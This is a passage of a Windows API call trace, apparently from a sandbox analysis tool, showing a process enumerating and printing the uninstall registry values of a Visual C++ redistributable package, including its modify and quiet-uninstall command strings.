CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.739] GetConsoleOutputCP () returned 0x1b5 [0150.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.739] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.739] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.739] __iob_func () returned 0x7fefd702a80 [0150.739] _fileno (_File=0x7fefd702ab0) returned 1 [0150.739] _errno () returned 0x204bb0 [0150.739] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.739] _errno () returned 0x204bb0 [0150.739] GetFileType (hFile=0x50) returned 0x1 [0150.739] lstrlenW (lpString=" ") returned 4 [0150.739] GetConsoleOutputCP () returned 0x1b5 [0150.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.739] GetConsoleOutputCP () returned 0x1b5 [0150.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.739] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.739] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.739] __iob_func () returned 0x7fefd702a80 [0150.739] _fileno (_File=0x7fefd702ab0) returned 1 [0150.739] _errno () returned 0x204bb0 [0150.739] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.739] _errno () returned 0x204bb0 [0150.739] GetFileType (hFile=0x50) returned 0x1 [0150.739] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /modify") returned 94 [0150.740] GetConsoleOutputCP () returned 0x1b5 [0150.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /modify", cchWideChar=94, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 94 [0150.740] GetConsoleOutputCP () returned 0x1b5 [0150.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /modify", cchWideChar=94, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /modify", lpUsedDefaultChar=0x0) returned 94 [0150.740] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 94 [0150.740] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.740] __iob_func () returned 0x7fefd702a80 [0150.740] _fileno (_File=0x7fefd702ab0) returned 1 [0150.740] _errno () returned 0x204bb0 [0150.740] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.740] _errno () returned 0x204bb0 [0150.740] GetFileType (hFile=0x50) returned 0x1 [0150.740] lstrlenW (lpString="\n") returned 1 [0150.740] GetConsoleOutputCP () returned 0x1b5 [0150.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.740] GetConsoleOutputCP () returned 0x1b5 [0150.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.740] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.740] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.740] GetProcessHeap () returned 0x3c0000 [0150.740] GetProcessHeap () returned 0x3c0000 [0150.741] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.741] GetProcessHeap () returned 0x3c0000 [0150.741] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc2 [0150.741] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.741] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoElevateOnModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.741] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.741] GetProcessHeap () returned 0x3c0000 [0150.741] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.741] GetProcessHeap () returned 0x3c0000 [0150.741] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.741] GetProcessHeap () returned 0x3c0000 [0150.741] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.741] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.741] __iob_func () returned 0x7fefd702a80 [0150.741] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.741] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.741] _fileno (_File=0x7fefd702ab0) returned 1 [0150.741] _errno () returned 0x204bb0 [0150.741] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.741] _errno () returned 0x204bb0 [0150.741] GetFileType (hFile=0x50) returned 0x1 [0150.741] lstrlenW (lpString=" ") returned 4 [0150.741] GetConsoleOutputCP () returned 0x1b5 [0150.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.741] GetConsoleOutputCP () returned 0x1b5 [0150.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.741] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.741] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.742] lstrlenW (lpString="NoElevateOnModify") returned 17 [0150.742] __iob_func () returned 0x7fefd702a80 [0150.742] _fileno (_File=0x7fefd702ab0) returned 1 [0150.742] _errno () returned 0x204bb0 [0150.742] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.742] _errno () returned 0x204bb0 [0150.742] GetFileType (hFile=0x50) returned 0x1 [0150.742] lstrlenW (lpString="NoElevateOnModify") returned 17 [0150.742] GetConsoleOutputCP () returned 0x1b5 [0150.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0150.742] GetConsoleOutputCP () returned 0x1b5 [0150.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoElevateOnModify", lpUsedDefaultChar=0x0) returned 17 [0150.742] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0150.742] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.742] __iob_func () returned 0x7fefd702a80 [0150.742] _fileno (_File=0x7fefd702ab0) returned 1 [0150.742] _errno () returned 0x204bb0 [0150.742] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.742] _errno () returned 0x204bb0 [0150.742] GetFileType (hFile=0x50) returned 0x1 [0150.742] lstrlenW (lpString=" ") returned 4 [0150.742] GetConsoleOutputCP () returned 0x1b5 [0150.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.742] GetConsoleOutputCP () returned 0x1b5 [0150.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.743] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.743] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.743] __iob_func () returned 0x7fefd702a80 [0150.743] _fileno (_File=0x7fefd702ab0) returned 1 [0150.743] _errno () returned 0x204bb0 [0150.743] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.743] _errno () returned 0x204bb0 [0150.743] GetFileType (hFile=0x50) returned 0x1 [0150.743] lstrlenW (lpString="REG_DWORD") returned 9 [0150.743] GetConsoleOutputCP () returned 0x1b5 [0150.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.743] GetConsoleOutputCP () returned 0x1b5 [0150.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.743] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.743] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.743] __iob_func () returned 0x7fefd702a80 [0150.743] _fileno (_File=0x7fefd702ab0) returned 1 [0150.743] _errno () returned 0x204bb0 [0150.743] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.743] _errno () returned 0x204bb0 [0150.743] GetFileType (hFile=0x50) returned 0x1 [0150.743] lstrlenW (lpString=" ") returned 4 [0150.743] GetConsoleOutputCP () returned 0x1b5 [0150.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.744] GetConsoleOutputCP () returned 0x1b5 [0150.744] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.744] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.744] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.744] __iob_func () returned 0x7fefd702a80 [0150.744] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.744] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.744] _fileno (_File=0x7fefd702ab0) returned 1 [0150.744] _errno () returned 0x204bb0 [0150.744] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.744] _errno () returned 0x204bb0 [0150.744] GetFileType (hFile=0x50) returned 0x1 [0150.744] lstrlenW (lpString="0x1") returned 3 [0150.744] GetConsoleOutputCP () returned 0x1b5 [0150.744] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.744] GetConsoleOutputCP () returned 0x1b5 [0150.744] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.744] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.744] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.744] __iob_func () returned 0x7fefd702a80 [0150.744] _fileno (_File=0x7fefd702ab0) returned 1 [0150.744] _errno () returned 0x204bb0 [0150.744] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.744] _errno () returned 0x204bb0 [0150.744] GetFileType (hFile=0x50) returned 0x1 [0150.745] lstrlenW (lpString="\n") returned 1 [0150.745] GetConsoleOutputCP () returned 0x1b5 [0150.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.745] GetConsoleOutputCP () returned 0x1b5 [0150.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.745] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.745] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.745] GetProcessHeap () returned 0x3c0000 [0150.745] GetProcessHeap () returned 0x3c0000 [0150.745] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.745] GetProcessHeap () returned 0x3c0000 [0150.745] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.745] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.745] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="QuietUninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.745] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xd4) returned 0x0 [0150.745] GetProcessHeap () returned 0x3c0000 [0150.745] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xd6) returned 0x3e1c70 [0150.745] GetProcessHeap () returned 0x3c0000 [0150.745] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.745] GetProcessHeap () returned 0x3c0000 [0150.745] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd6 [0150.745] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xd4 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall /quiet", pcbData=0x29f780*=0xd2) returned 0x0 [0150.745] __iob_func () returned 0x7fefd702a80 [0150.745] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.745] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.745] _fileno (_File=0x7fefd702ab0) returned 1 [0150.746] _errno () returned 0x204bb0 [0150.746] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.746] _errno () returned 0x204bb0 [0150.746] GetFileType (hFile=0x50) returned 0x1 [0150.746] lstrlenW (lpString=" ") returned 4 [0150.746] GetConsoleOutputCP () returned 0x1b5 [0150.746] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.746] GetConsoleOutputCP () returned 0x1b5 [0150.746] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.746] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.746] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.746] lstrlenW (lpString="QuietUninstallString") returned 20 [0150.746] __iob_func () returned 0x7fefd702a80 [0150.746] _fileno (_File=0x7fefd702ab0) returned 1 [0150.746] _errno () returned 0x204bb0 [0150.746] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.746] _errno () returned 0x204bb0 [0150.746] GetFileType (hFile=0x50) returned 0x1 [0150.746] lstrlenW (lpString="QuietUninstallString") returned 20 [0150.746] GetConsoleOutputCP () returned 0x1b5 [0150.746] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0150.746] GetConsoleOutputCP () returned 0x1b5 [0150.746] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuietUninstallString", lpUsedDefaultChar=0x0) returned 20 [0150.747] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 20 [0150.747] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.747] __iob_func () returned 0x7fefd702a80 [0150.747] _fileno (_File=0x7fefd702ab0) returned 1 [0150.747] _errno () returned 0x204bb0 [0150.747] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.747] _errno () returned 0x204bb0 [0150.747] GetFileType (hFile=0x50) returned 0x1 [0150.747] lstrlenW (lpString=" ") returned 4 [0150.747] GetConsoleOutputCP () returned 0x1b5 [0150.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.747] GetConsoleOutputCP () returned 0x1b5 [0150.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.747] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.747] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.747] __iob_func () returned 0x7fefd702a80 [0150.747] _fileno (_File=0x7fefd702ab0) returned 1 [0150.747] _errno () returned 0x204bb0 [0150.747] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.747] _errno () returned 0x204bb0 [0150.747] GetFileType (hFile=0x50) returned 0x1 [0150.747] lstrlenW (lpString="REG_SZ") returned 6 [0150.747] GetConsoleOutputCP () returned 0x1b5 [0150.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.747] GetConsoleOutputCP () returned 0x1b5 [0150.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.748] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.748] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.748] __iob_func () returned 0x7fefd702a80 [0150.748] _fileno (_File=0x7fefd702ab0) returned 1 [0150.748] _errno () returned 0x204bb0 [0150.748] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.748] _errno () returned 0x204bb0 [0150.748] GetFileType (hFile=0x50) returned 0x1 [0150.748] lstrlenW (lpString=" ") returned 4 [0150.748] GetConsoleOutputCP () returned 0x1b5 [0150.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.748] GetConsoleOutputCP () returned 0x1b5 [0150.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.748] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.748] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.748] __iob_func () returned 0x7fefd702a80 [0150.748] _fileno (_File=0x7fefd702ab0) returned 1 [0150.748] _errno () returned 0x204bb0 [0150.748] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.748] _errno () returned 0x204bb0 [0150.748] GetFileType (hFile=0x50) returned 0x1 [0150.748] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall /quiet") returned 104 [0150.748] GetConsoleOutputCP () returned 0x1b5 [0150.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall /quiet", cchWideChar=104, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0150.749] GetConsoleOutputCP () returned 0x1b5 [0150.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall /quiet", cchWideChar=104, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall /quiet", lpUsedDefaultChar=0x0) returned 104 [0150.749] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 104 [0150.749] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.749] __iob_func () returned 0x7fefd702a80 [0150.749] _fileno (_File=0x7fefd702ab0) returned 1 [0150.749] _errno () returned 0x204bb0 [0150.749] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.749] _errno () returned 0x204bb0 [0150.749] GetFileType (hFile=0x50) returned 0x1 [0150.749] lstrlenW (lpString="\n") returned 1 [0150.749] GetConsoleOutputCP () returned 0x1b5 [0150.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.749] GetConsoleOutputCP () returned 0x1b5 [0150.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.749] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.749] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.749] GetProcessHeap () returned 0x3c0000 [0150.749] GetProcessHeap () returned 0x3c0000 [0150.749] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.749] GetProcessHeap () returned 0x3c0000 [0150.749] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd6 [0150.749] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.750] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.750] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, 